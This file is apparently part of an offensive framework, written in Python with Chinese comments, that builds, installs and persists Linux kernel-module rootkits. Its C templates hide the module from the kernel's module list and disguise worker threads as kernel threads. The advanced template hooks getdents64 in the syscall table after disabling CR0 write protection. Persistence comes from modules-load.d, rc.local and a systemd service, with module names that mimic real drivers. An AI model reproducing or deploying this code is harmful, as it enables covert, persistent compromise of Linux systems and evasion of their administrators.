#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
内核模块级权限维持模块
实现基于Linux内核模块(LKM)的权限维持技术
"""

import os
import re
import subprocess
import tempfile
import shutil
import hashlib
import time
from pathlib import Path
from typing import Dict, List, Optional, Tuple

from ..base import (
    BasePersistenceModule, PersistenceConfig, PersistenceResult,
    PersistenceStatus, PersistenceLevel
)


class LKMPersistenceModule(BasePersistenceModule):
    """内核模块级权限维持模块"""
    
    def __init__(self):
        super().__init__("lkm")
        self.name = "lkm"
        self.description = "基于Linux内核模块的权限维持"
        self.supported_platforms = ["linux"]
        self.requires_root = True
        self.requires_compilation = True
        
        # 内核模块配置
        self.module_templates = {
            'basic': 'basic_rootkit.c',
            'stealth': 'stealth_rootkit.c', 
            'advanced': 'advanced_rootkit.c'
        }
        
        # 支持的内核版本范围
        self.supported_kernel_versions = {
            'min': (3, 10),  # 最低支持内核版本
            'max': (6, 5)    # 最高支持内核版本
        }
    
    def validate_config(self, config: PersistenceConfig) -> PersistenceResult:
        """验证配置"""
        if not config.payload:
            return PersistenceResult(
                success=False,
                message="payload不能为空"
            )
        
        if not (1 <= config.stealth_level <= 10):
            return PersistenceResult(
                success=False,
                message="隐蔽级别必须在1-10之间"
            )
        
        # 检查内核版本兼容性
        kernel_version = self._get_kernel_version()
        if not self._is_kernel_supported(kernel_version):
            return PersistenceResult(
                success=False,
                message=f"不支持的内核版本: {kernel_version}"
            )
        
        # 检查编译环境
        if not self._check_build_environment():
            return PersistenceResult(
                success=False,
                message="缺少内核模块编译环境"
            )
        
        return PersistenceResult(success=True, message="配置验证通过")
    
    def deploy(self, config: PersistenceConfig) -> PersistenceResult:
        """部署内核模块权限维持"""
        try:
            # 验证配置
            validation = self.validate_config(config)
            if not validation.success:
                return validation
            
            # 检查权限
            if not self._check_root_privileges():
                return PersistenceResult(
                    success=False,
                    message="需要root权限部署内核模块"
                )
            
            # 生成实例ID
            instance_id = self._generate_instance_id()
            
            # 选择模块模板
            template_type = self._select_module_template(config.stealth_level)
            
            # 生成模块名称
            module_name = self._generate_module_name(config.stealth_level)
            
            # 创建临时工作目录
            work_dir = self._create_work_directory(instance_id)
            
            try:
                # 生成内核模块源代码
                source_file = self._generate_module_source(
                    work_dir, module_name, config.payload, 
                    config.stealth_level, template_type
                )
                
                # 生成Makefile
                makefile = self._generate_makefile(work_dir, module_name)
                
                # 编译内核模块
                ko_file = self._compile_module(work_dir, module_name)
                
                # 安装内核模块
                install_result = self._install_module(ko_file, module_name, config.stealth_level)
                
                if not install_result.success:
                    return install_result
                
                # 配置自动加载
                autoload_result = self._configure_autoload(module_name, config.stealth_level)
                
                if not autoload_result.success:
                    # 如果自动加载配置失败，卸载已安装的模块
                    self._unload_module(module_name)
                    return autoload_result
                
                # 保存实例配置
                instance_config = {
                    'module_name': module_name,
                    'template_type': template_type,
                    'stealth_level': config.stealth_level,
                    'payload': config.payload,
                    'work_dir': work_dir,
                    'install_time': time.time(),
                    'kernel_version': self._get_kernel_version()
                }
                
                self._save_instance_config(instance_id, instance_config)
                
                return PersistenceResult(
                    success=True,
                    message=f"内核模块权限维持部署成功: {module_name}",
                    instance_id=instance_id
                )
                
            except Exception as e:
                # 清理工作目录
                if os.path.exists(work_dir):
                    shutil.rmtree(work_dir)
                raise e
                
        except Exception as e:
            self.logger.error(f"部署内核模块权限维持失败: {str(e)}")
            return PersistenceResult(
                success=False,
                message=f"部署失败: {str(e)}"
            )
    
    def check_alive(self, instance_id: str) -> PersistenceResult:
        """检查内核模块权限维持状态"""
        try:
            config = self._load_instance_config(instance_id)
            if not config:
                return PersistenceResult(
                    success=False,
                    message="实例配置不存在",
                    status=PersistenceStatus.NOT_FOUND
                )
            
            module_name = config['module_name']
            
            # 检查模块是否已加载
            if not self._is_module_loaded(module_name):
                return PersistenceResult(
                    success=False,
                    message=f"内核模块未加载: {module_name}",
                    status=PersistenceStatus.INACTIVE
                )
            
            # 检查模块功能是否正常
            if not self._test_module_functionality(module_name):
                return PersistenceResult(
                    success=False,
                    message=f"内核模块功能异常: {module_name}",
                    status=PersistenceStatus.ERROR
                )
            
            return PersistenceResult(
                success=True,
                message=f"内核模块权限维持正常: {module_name}",
                status=PersistenceStatus.ACTIVE
            )
            
        except Exception as e:
            self.logger.error(f"检查内核模块权限维持状态失败: {str(e)}")
            return PersistenceResult(
                success=False,
                message=f"状态检查失败: {str(e)}",
                status=PersistenceStatus.ERROR
            )
    
    def repair(self, instance_id: str) -> PersistenceResult:
        """修复内核模块权限维持"""
        try:
            config = self._load_instance_config(instance_id)
            if not config:
                return PersistenceResult(
                    success=False,
                    message="实例配置不存在"
                )
            
            module_name = config['module_name']
            
            # 检查当前状态
            status_result = self.check_alive(instance_id)
            if status_result.success:
                return PersistenceResult(
                    success=True,
                    message="内核模块权限维持正常，无需修复"
                )
            
            # 尝试重新加载模块
            if not self._is_module_loaded(module_name):
                # 查找模块文件
                module_path = self._find_installed_module(module_name)
                if module_path:
                    load_result = self._load_module(module_path)
                    if load_result.success:
                        return PersistenceResult(
                            success=True,
                            message=f"内核模块重新加载成功: {module_name}"
                        )
                
                # 如果重新加载失败，尝试重新部署
                return self._redeploy_module(instance_id, config)
            
            return PersistenceResult(
                success=False,
                message="无法修复内核模块权限维持"
            )
            
        except Exception as e:
            self.logger.error(f"修复内核模块权限维持失败: {str(e)}")
            return PersistenceResult(
                success=False,
                message=f"修复失败: {str(e)}"
            )
    
    def clean(self, instance_id: str) -> PersistenceResult:
        """清理内核模块权限维持"""
        try:
            config = self._load_instance_config(instance_id)
            if not config:
                return PersistenceResult(
                    success=True,
                    message="实例配置不存在，视为已清理"
                )
            
            module_name = config['module_name']
            work_dir = config.get('work_dir')
            
            # 卸载内核模块
            if self._is_module_loaded(module_name):
                unload_result = self._unload_module(module_name)
                if not unload_result.success:
                    self.logger.warning(f"卸载内核模块失败: {unload_result.message}")
            
            # 删除模块文件
            self._remove_installed_module(module_name)
            
            # 清理自动加载配置
            self._remove_autoload_config(module_name)
            
            # 清理工作目录
            if work_dir and os.path.exists(work_dir):
                shutil.rmtree(work_dir)
            
            # 删除实例配置
            self._delete_instance_config(instance_id)
            
            return PersistenceResult(
                success=True,
                message=f"内核模块权限维持清理完成: {module_name}"
            )
            
        except Exception as e:
            self.logger.error(f"清理内核模块权限维持失败: {str(e)}")
            return PersistenceResult(
                success=False,
                message=f"清理失败: {str(e)}"
            )
    
    def list_instances(self) -> List[Dict]:
        """列出所有内核模块权限维持实例"""
        instances = []
        
        try:
            for instance_id in self._get_all_instance_ids():
                config = self._load_instance_config(instance_id)
                if config:
                    status_result = self.check_alive(instance_id)
                    
                    instances.append({
                        'instance_id': instance_id,
                        'module_name': config['module_name'],
                        'template_type': config['template_type'],
                        'stealth_level': config['stealth_level'],
                        'status': status_result.status.value if status_result.status else 'unknown',
                        'install_time': config.get('install_time'),
                        'kernel_version': config.get('kernel_version')
                    })
        
        except Exception as e:
            self.logger.error(f"列出实例失败: {str(e)}")
        
        return instances
    
    # 内核相关辅助方法
    
    def _get_kernel_version(self) -> Tuple[int, int]:
        """获取内核版本"""
        try:
            result = subprocess.run(['uname', '-r'], capture_output=True, text=True)
            if result.returncode == 0:
                version_str = result.stdout.strip()
                # 解析版本号，如 "5.4.0-74-generic" -> (5, 4)
                match = re.match(r'(\d+)\.(\d+)', version_str)
                if match:
                    return (int(match.group(1)), int(match.group(2)))
            
            return (0, 0)
        except Exception:
            return (0, 0)
    
    def _is_kernel_supported(self, kernel_version: Tuple[int, int]) -> bool:
        """检查内核版本是否支持"""
        min_ver = self.supported_kernel_versions['min']
        max_ver = self.supported_kernel_versions['max']
        
        return min_ver <= kernel_version <= max_ver
    
    def _check_build_environment(self) -> bool:
        """检查编译环境"""
        try:
            # 检查gcc
            subprocess.run(['gcc', '--version'], capture_output=True, check=True)
            
            # 检查make
            subprocess.run(['make', '--version'], capture_output=True, check=True)
            
            # 检查内核头文件
            kernel_version = subprocess.run(['uname', '-r'], capture_output=True, text=True).stdout.strip()
            headers_path = f"/usr/src/linux-headers-{kernel_version}"
            if not os.path.exists(headers_path):
                headers_path = "/lib/modules/{}/build".format(kernel_version)
                if not os.path.exists(headers_path):
                    return False
            
            return True
            
        except (subprocess.CalledProcessError, FileNotFoundError):
            return False
    
    def _check_root_privileges(self) -> bool:
        """检查root权限"""
        return os.getuid() == 0
    
    def _select_module_template(self, stealth_level: int) -> str:
        """选择模块模板"""
        if stealth_level <= 3:
            return 'basic'
        elif stealth_level <= 7:
            return 'stealth'
        else:
            return 'advanced'
    
    def _generate_module_name(self, stealth_level: int) -> str:
        """生成模块名称"""
        if stealth_level <= 3:
            # 低隐蔽级别，使用简单名称
            names = ['test_module', 'debug_helper', 'system_monitor']
        elif stealth_level <= 7:
            # 中等隐蔽级别，使用系统相关名称
            names = ['usb_storage', 'bluetooth_core', 'sound_driver', 'network_helper']
        else:
            # 高隐蔽级别，使用核心系统名称
            names = ['kernel_crypto', 'mm_helper', 'fs_cache', 'net_core']
        
        import random
        base_name = random.choice(names)
        
        # 添加随机后缀增加唯一性
        suffix = hashlib.md5(str(time.time()).encode()).hexdigest()[:6]
        return f"{base_name}_{suffix}"
    
    def _create_work_directory(self, instance_id: str) -> str:
        """创建工作目录"""
        work_dir = os.path.join(tempfile.gettempdir(), f"lkm_{instance_id}")
        os.makedirs(work_dir, exist_ok=True)
        return work_dir
    
    def _generate_module_source(self, work_dir: str, module_name: str, 
                              payload: str, stealth_level: int, template_type: str) -> str:
        """生成内核模块源代码"""
        source_file = os.path.join(work_dir, f"{module_name}.c")
        
        # 根据模板类型生成不同的源代码
        if template_type == 'basic':
            source_code = self._generate_basic_module(module_name, payload)
        elif template_type == 'stealth':
            source_code = self._generate_stealth_module(module_name, payload, stealth_level)
        else:  # advanced
            source_code = self._generate_advanced_module(module_name, payload, stealth_level)
        
        with open(source_file, 'w') as f:
            f.write(source_code)
        
        return source_file
    
    def _generate_basic_module(self, module_name: str, payload: str) -> str:
        """生成基础内核模块代码"""
        return f'''
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/kthread.h>
#include <linux/delay.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("System");
MODULE_DESCRIPTION("System Helper Module");
MODULE_VERSION("1.0");

static struct task_struct *worker_thread;

static int worker_function(void *data)
{{
    while (!kthread_should_stop()) {{
        // 执行payload逻辑
        // {payload}
        
        msleep(60000); // 等待1分钟
    }}
    return 0;
}}

static int __init {module_name}_init(void)
{{
    printk(KERN_INFO "{module_name}: Module loaded\\n");
    
    worker_thread = kthread_run(worker_function, NULL, "{module_name}_worker");
    if (IS_ERR(worker_thread)) {{
        printk(KERN_ERR "{module_name}: Failed to create worker thread\\n");
        return PTR_ERR(worker_thread);
    }}
    
    return 0;
}}

static void __exit {module_name}_exit(void)
{{
    if (worker_thread) {{
        kthread_stop(worker_thread);
    }}
    printk(KERN_INFO "{module_name}: Module unloaded\\n");
}}

module_init({module_name}_init);
module_exit({module_name}_exit);
'''
    
    def _generate_stealth_module(self, module_name: str, payload: str, stealth_level: int) -> str:
        """生成隐蔽内核模块代码"""
        return f'''
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/list.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("System");
MODULE_DESCRIPTION("System Helper Module");
MODULE_VERSION("1.0");

static struct task_struct *worker_thread;
static struct list_head *module_list;

// 隐藏模块
static void hide_module(void)
{{
    if (THIS_MODULE->list.prev) {{
        module_list = THIS_MODULE->list.prev;
        list_del(&THIS_MODULE->list);
    }}
}}

// 显示模块
static void show_module(void)
{{
    if (module_list) {{
        list_add(&THIS_MODULE->list, module_list);
    }}
}}

static int worker_function(void *data)
{{
    while (!kthread_should_stop()) {{
        // 执行payload逻辑
        // {payload}
        
        // 随机延迟增加隐蔽性
        msleep(30000 + (get_random_u32() % 60000));
    }}
    return 0;
}}

static int __init {module_name}_init(void)
{{
    // 隐藏模块（高隐蔽级别）
    if ({stealth_level} >= 7) {{
        hide_module();
    }}
    
    worker_thread = kthread_run(worker_function, NULL, "kworker/0:1");
    if (IS_ERR(worker_thread)) {{
        return PTR_ERR(worker_thread);
    }}
    
    return 0;
}}

static void __exit {module_name}_exit(void)
{{
    if (worker_thread) {{
        kthread_stop(worker_thread);
    }}
    
    // 恢复模块可见性
    show_module();
}}

module_init({module_name}_init);
module_exit({module_name}_exit);
'''
    
    def _generate_advanced_module(self, module_name: str, payload: str, stealth_level: int) -> str:
        """生成高级内核模块代码"""
        return f'''
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/list.h>
#include <linux/slab.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("System");
MODULE_DESCRIPTION("System Helper Module");
MODULE_VERSION("1.0");

static struct task_struct *worker_thread;
static struct list_head *module_list;

// 系统调用表相关
static unsigned long *sys_call_table;
static asmlinkage long (*original_sys_getdents64)(const struct pt_regs *);

// 隐藏模块
static void hide_module(void)
{{
    if (THIS_MODULE->list.prev) {{
        module_list = THIS_MODULE->list.prev;
        list_del(&THIS_MODULE->list);
    }}
}}

// 显示模块
static void show_module(void)
{{
    if (module_list) {{
        list_add(&THIS_MODULE->list, module_list);
    }}
}}

// Hook系统调用
static asmlinkage long hooked_sys_getdents64(const struct pt_regs *regs)
{{
    // 执行原始系统调用
    long ret = original_sys_getdents64(regs);
    
    // 在这里可以过滤结果，隐藏特定文件/进程
    
    return ret;
}}

static unsigned long find_sys_call_table(void)
{{
    unsigned long sct = 0;
    
    // 通过kallsyms查找系统调用表
    sct = kallsyms_lookup_name("sys_call_table");
    
    return sct;
}}

static void disable_write_protection(void)
{{
    unsigned long cr0 = read_cr0();
    clear_bit(16, &cr0);
    write_cr0(cr0);
}}

static void enable_write_protection(void)
{{
    unsigned long cr0 = read_cr0();
    set_bit(16, &cr0);
    write_cr0(cr0);
}}

static int worker_function(void *data)
{{
    while (!kthread_should_stop()) {{
        // 执行payload逻辑
        // {payload}
        
        // 随机延迟
        msleep(45000 + (get_random_u32() % 90000));
    }}
    return 0;
}}

static int __init {module_name}_init(void)
{{
    // 查找系统调用表
    sys_call_table = (unsigned long *)find_sys_call_table();
    if (!sys_call_table) {{
        return -1;
    }}
    
    // Hook系统调用
    disable_write_protection();
    original_sys_getdents64 = (void *)sys_call_table[__NR_getdents64];
    sys_call_table[__NR_getdents64] = (unsigned long)hooked_sys_getdents64;
    enable_write_protection();
    
    // 隐藏模块
    hide_module();
    
    // 创建工作线程，伪装成内核线程
    worker_thread = kthread_run(worker_function, NULL, "migration/0");
    if (IS_ERR(worker_thread)) {{
        // 恢复系统调用
        disable_write_protection();
        sys_call_table[__NR_getdents64] = (unsigned long)original_sys_getdents64;
        enable_write_protection();
        return PTR_ERR(worker_thread);
    }}
    
    return 0;
}}

static void __exit {module_name}_exit(void)
{{
    if (worker_thread) {{
        kthread_stop(worker_thread);
    }}
    
    // 恢复系统调用
    if (sys_call_table && original_sys_getdents64) {{
        disable_write_protection();
        sys_call_table[__NR_getdents64] = (unsigned long)original_sys_getdents64;
        enable_write_protection();
    }}
    
    // 恢复模块可见性
    show_module();
}}

module_init({module_name}_init);
module_exit({module_name}_exit);
'''
    
    def _generate_makefile(self, work_dir: str, module_name: str) -> str:
        """生成Makefile"""
        makefile_path = os.path.join(work_dir, "Makefile")
        
        makefile_content = f'''
obj-m += {module_name}.o

all:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
'''
        
        with open(makefile_path, 'w') as f:
            f.write(makefile_content)
        
        return makefile_path
    
    def _compile_module(self, work_dir: str, module_name: str) -> str:
        """编译内核模块"""
        try:
            # 执行编译
            result = subprocess.run(
                ['make'], 
                cwd=work_dir, 
                capture_output=True, 
                text=True, 
                check=True
            )
            
            ko_file = os.path.join(work_dir, f"{module_name}.ko")
            if not os.path.exists(ko_file):
                raise Exception("编译完成但未找到.ko文件")
            
            return ko_file
            
        except subprocess.CalledProcessError as e:
            raise Exception(f"编译失败: {e.stderr}")
    
    def _install_module(self, ko_file: str, module_name: str, stealth_level: int) -> PersistenceResult:
        """安装内核模块"""
        try:
            # 选择安装位置
            if stealth_level >= 8:
                # 高隐蔽级别，安装到系统目录
                install_dir = "/lib/modules/{}/kernel/drivers/misc".format(
                    subprocess.run(['uname', '-r'], capture_output=True, text=True).stdout.strip()
                )
            else:
                # 低隐蔽级别，安装到用户目录
                install_dir = "/lib/modules/{}/extra".format(
                    subprocess.run(['uname', '-r'], capture_output=True, text=True).stdout.strip()
                )
            
            os.makedirs(install_dir, exist_ok=True)
            
            # 复制模块文件
            install_path = os.path.join(install_dir, f"{module_name}.ko")
            shutil.copy2(ko_file, install_path)
            
            # 更新模块依赖
            subprocess.run(['depmod', '-a'], check=True)
            
            # 加载模块
            load_result = self._load_module(install_path)
            if not load_result.success:
                # 如果加载失败，删除安装的文件
                os.remove(install_path)
                return load_result
            
            return PersistenceResult(
                success=True,
                message=f"内核模块安装成功: {install_path}"
            )
            
        except Exception as e:
            return PersistenceResult(
                success=False,
                message=f"安装失败: {str(e)}"
            )
    
    def _load_module(self, module_path: str) -> PersistenceResult:
        """加载内核模块"""
        try:
            result = subprocess.run(
                ['insmod', module_path], 
                capture_output=True, 
                text=True, 
                check=True
            )
            
            return PersistenceResult(
                success=True,
                message="内核模块加载成功"
            )
            
        except subprocess.CalledProcessError as e:
            return PersistenceResult(
                success=False,
                message=f"加载失败: {e.stderr}"
            )
    
    def _unload_module(self, module_name: str) -> PersistenceResult:
        """卸载内核模块"""
        try:
            result = subprocess.run(
                ['rmmod', module_name], 
                capture_output=True, 
                text=True, 
                check=True
            )
            
            return PersistenceResult(
                success=True,
                message="内核模块卸载成功"
            )
            
        except subprocess.CalledProcessError as e:
            return PersistenceResult(
                success=False,
                message=f"卸载失败: {e.stderr}"
            )
    
    def _is_module_loaded(self, module_name: str) -> bool:
        """检查模块是否已加载"""
        try:
            result = subprocess.run(['lsmod'], capture_output=True, text=True)
            return module_name in result.stdout
        except Exception:
            return False
    
    def _test_module_functionality(self, module_name: str) -> bool:
        """测试模块功能"""
        # 基础测试：检查模块是否在内核中
        if not self._is_module_loaded(module_name):
            return False
        
        # 可以添加更多功能测试
        return True
    
    def _configure_autoload(self, module_name: str, stealth_level: int) -> PersistenceResult:
        """配置自动加载"""
        try:
            if stealth_level >= 7:
                # 高隐蔽级别，使用多种方式确保自动加载
                methods = [
                    self._add_to_modules_load,
                    self._add_to_rc_local,
                    self._create_systemd_service
                ]
                
                for method in methods:
                    try:
                        method(module_name)
                    except Exception as e:
                        self.logger.warning(f"自动加载配置方法失败: {str(e)}")
            else:
                # 低隐蔽级别，使用简单方式
                self._add_to_modules_load(module_name)
            
            return PersistenceResult(
                success=True,
                message="自动加载配置成功"
            )
            
        except Exception as e:
            return PersistenceResult(
                success=False,
                message=f"自动加载配置失败: {str(e)}"
            )
    
    def _add_to_modules_load(self, module_name: str):
        """添加到/etc/modules-load.d/"""
        config_file = f"/etc/modules-load.d/{module_name}.conf"
        with open(config_file, 'w') as f:
            f.write(f"{module_name}\n")
    
    def _add_to_rc_local(self, module_name: str):
        """添加到rc.local"""
        rc_local = "/etc/rc.local"
        if os.path.exists(rc_local):
            with open(rc_local, 'r') as f:
                content = f.read()
            
            if f"modprobe {module_name}" not in content:
                # 在exit 0之前插入
                content = content.replace(
                    "exit 0", 
                    f"modprobe {module_name} 2>/dev/null\nexit 0"
                )
                
                with open(rc_local, 'w') as f:
                    f.write(content)
    
    def _create_systemd_service(self, module_name: str):
        """创建systemd服务"""
        service_content = f'''[Unit]
Description=System Module Loader
After=multi-user.target

[Service]
Type=oneshot
ExecStart=/sbin/modprobe {module_name}
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target
'''
        
        service_file = f"/etc/systemd/system/{module_name}.service"
        with open(service_file, 'w') as f:
            f.write(service_content)
        
        # 启用服务
        subprocess.run(['systemctl', 'enable', f"{module_name}.service"], 
                      capture_output=True)
    
    def _find_installed_module(self, module_name: str) -> Optional[str]:
        """查找已安装的模块"""
        kernel_version = subprocess.run(['uname', '-r'], capture_output=True, text=True).stdout.strip()
        
        search_paths = [
            f"/lib/modules/{kernel_version}/kernel/drivers/misc/{module_name}.ko",
            f"/lib/modules/{kernel_version}/extra/{module_name}.ko"
        ]
        
        for path in search_paths:
            if os.path.exists(path):
                return path
        
        return None
    
    def _remove_installed_module(self, module_name: str):
        """删除已安装的模块"""
        module_path = self._find_installed_module(module_name)
        if module_path and os.path.exists(module_path):
            os.remove(module_path)
            
            # 更新模块依赖
            try:
                subprocess.run(['depmod', '-a'], check=True)
            except Exception:
                pass
    
    def _remove_autoload_config(self, module_name: str):
        """删除自动加载配置"""
        # 删除modules-load.d配置
        config_file = f"/etc/modules-load.d/{module_name}.conf"
        if os.path.exists(config_file):
            os.remove(config_file)
        
        # 删除systemd服务
        service_file = f"/etc/systemd/system/{module_name}.service"
        if os.path.exists(service_file):
            try:
                subprocess.run(['systemctl', 'disable', f"{module_name}.service"], 
                              capture_output=True)
                os.remove(service_file)
            except Exception:
                pass
        
        # 从rc.local中删除
        rc_local = "/etc/rc.local"
        if os.path.exists(rc_local):
            try:
                with open(rc_local, 'r') as f:
                    content = f.read()
                
                # 删除相关行
                lines = content.split('\n')
                filtered_lines = [line for line in lines 
                                if f"modprobe {module_name}" not in line]
                
                with open(rc_local, 'w') as f:
                    f.write('\n'.join(filtered_lines))
            except Exception:
                pass
    
    def _redeploy_module(self, instance_id: str, config: Dict) -> PersistenceResult:
        """重新部署模块"""
        try:
            # 创建新的配置
            new_config = PersistenceConfig(
                payload=config['payload'],
                stealth_level=config['stealth_level']
            )
            
            # 重新部署
            return self.deploy(new_config)
            
        except Exception as e:
            return PersistenceResult(
                success=False,
                message=f"重新部署失败: {str(e)}"
            )
    
    def get_module_info(self) -> Dict:
        """获取模块信息"""
        kernel_version = self._get_kernel_version()
        
        return {
            'name': self.name,
            'version': '1.0.0',
            'description': self.description,
            'author': 'privilege-maDev Team',
            'supported_platforms': self.supported_platforms,
            'requires_root': self.requires_root,
            'requires_compilation': self.requires_compilation,
            'current_kernel': f"{kernel_version[0]}.{kernel_version[1]}",
            'supported_kernel_range': f"{self.supported_kernel_versions['min'][0]}.{self.supported_kernel_versions['min'][1]} - {self.supported_kernel_versions['max'][0]}.{self.supported_kernel_versions['max'][1]}",
            'build_environment_ok': self._check_build_environment(),
            'template_types': list(self.module_templates.keys())
        }